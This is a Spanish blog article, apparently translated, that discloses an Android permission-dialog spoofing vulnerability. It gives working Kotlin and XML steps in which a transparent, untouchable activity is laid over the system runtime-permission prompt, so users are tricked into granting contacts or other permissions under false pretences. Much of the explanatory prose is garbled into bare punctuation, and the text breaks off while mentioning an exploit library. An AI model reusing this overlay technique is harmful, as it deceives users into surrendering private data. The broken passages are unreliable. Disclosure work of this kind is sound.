Cambiar los permisos de tiempo de ejecución en Android

Hola, mi nombre es Vitaly.





Tengo 25 años, me gradué de la Universidad Electrotécnica Estatal de San Petersburgo "LETI" en mi ciudad natal. Llevo 10 años programando, de los cuales 4 escribo para Android. Autor de muchos programas Homebrew, conocidos como VITTACH, para Sony PlayStation Portable (PSP) .





Hoy me gustaría discutir con ustedes el problema de la seguridad de las aplicaciones móviles. Los desarrolladores de Google están mejorando constantemente Android, encontrando y solucionando vulnerabilidades con la ayuda de una gran comunidad reunida gracias al programa Android Security Rewards , del que hablaremos más adelante. Sin embargo, los problemas persisten y es nuestra tarea común como comunidad informarlos para que se corrijan oportunamente.





La vulnerabilidad de la que hablo, pertenece a la clase con la Prioridad: la P2 y la Severidad: la S2 , que según la tabla en sentido amplio, significa:





  • Un problema que debe resolverse en un plazo de tiempo razonable;





  • Un problema que es importante para un gran porcentaje de usuarios y está relacionado con la funcionalidad principal.





Permiso de tiempo de ejecución

El artículo se centrará en algo conocido por todos los desarrolladores como el permiso en tiempo de ejecución, es decir, la posibilidad de engañar al usuario final al mostrar el cuadro de diálogo de permiso con su propio texto e icono sobre el del sistema. Es fácil adivinar que tal enfoque permitiría a los desarrolladores pedir al usuario permiso, digamos, para el sistema de archivos y, de hecho, dar acceso a la geolocalización, la cámara o cualquier otra cosa.





Es imposible

Se ha hecho una pregunta similar más de una vez en foros especializados, en particular en StackOverflow . La única respuesta correcta fue que era imposible. Y esto es realmente así: es imposible reemplazar el texto en el cuadro de diálogo del sistema, pero es posible reemplazarlo con el suyo.





Que hay debajo del capó

Runtime Permission Android 6.0



dangerous-. , . dangerous .





Dangerous permissions
  • android.permission_group.CALENDAR





    • android.permission.READ_CALENDAR





    • android.permission.WRITE_CALENDAR





  • android.permission_group.CAMERA





    • android.permission.CAMERA





  • android.permission_group.CONTACTS





    • android.permission.READ_CONTACTS





    • android.permission.WRITE_CONTACTS





    • android.permission.GET_ACCOUNTS





  • android.permission_group.LOCATION





    • android.permission.ACCESSFINELOCATION





    • android.permission.ACCESSCOARSELOCATION





  • android.permission_group.MICROPHONE





    • android.permission.RECORD_AUDIO





  • android.permission_group.PHONE





    • android.permission.READPHONESTATE





    • android.permission.CALL_PHONE





    • android.permission.READCALLLOG





    • android.permission.WRITECALLLOG





    • android.permission.ADD_VOICEMAIL





    • android.permission.USE_SIP





    • android.permission.PROCESSOUTGOINGCALLS





  • android.permission_group.SENSORS





    • android.permission.BODY_SENSORS





  • android.permission_group.SMS





    • android.permission.SEND_SMS





    • android.permission.RECEIVE_SMS





    • android.permission.READ_SMS





    • android.permission.RECEIVEWAPPUSH





    • android.permission.RECEIVE_MMS





    • android.permission.READCELLBROADCASTS





  • android.permission_group.STORAGE





    • android.permission.READEXTERNALSTORAGE





    • android.permission.WRITEEXTERNALSTORAGE









Android GrantPermissionsActivity, .





ActivityCompat.requestPermissions(
    MainActivity.this,
    arrayOf(Manifest.permission.READ_CONTACTS),
    PERMISSION_REQUEST_CODE
)
      
      



Activity, UI , Activity, .





:





Activity android:windowIsTranslucent=true



( Activity , , ) Activity , . Activity Activity .





– Activity , – Activity . Activity, ?





, , , , . , :





Activity , onResume



onPause



. Activity.





, Activity , . – !





,

Kotlin









  • ,





    <style name="Theme.Transparent" parent="AppTheme">
    <item name="android:windowBackground">@android:color/transparent</item>
    <item name="android:windowIsTranslucent">true</item>
    </style>
          
          



  • Activity





    ...
    <activity android:name=".PermissionActivity"
              android:theme="@style/Theme.Transparent">
          
          



  • PermissionActivity layout





    onCreate :





    window.addFlags(
      FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE
    )
          
          



    :





    • FLAG_NOT_FOCUSABLE



      : window, FLAG_NOT_FOCUSABLE



      , ;





    • FLAG_NOT_TOUCH_MODAL



      : , , , ;





    • FLAG_NOT_TOUCHABLE



      : .





  • MainActivity





    ActivityCompat.requestPermissions(
        MainActivity.this,
        arrayOf(Manifest.permission.READ_CONTACTS),
        REQUEST_CODE
    )
          
          



  • MainActivity : PermissionActivity.





    startActivity(Intent(this, PermissionActivity::class.java))
          
          



    PermissionActivity Activity . !





Android >= 7.1.1

Runtime Permission Android 6.0



, 7.1.1



, .. Android



.





Android 6.0



, . , Google .





Android Rewards Program

Presenté una solicitud y adjunté todos los documentos explicativos y demostrativos relacionados con esta vulnerabilidad. En este momento, la solicitud está en consideración, por lo que no puedo divulgar los detalles, porque he firmado el acuerdo correspondiente.





¿Cómo es más fácil?

Para la conveniencia de aprovechar la vulnerabilidad, escribí una biblioteca




















All Articles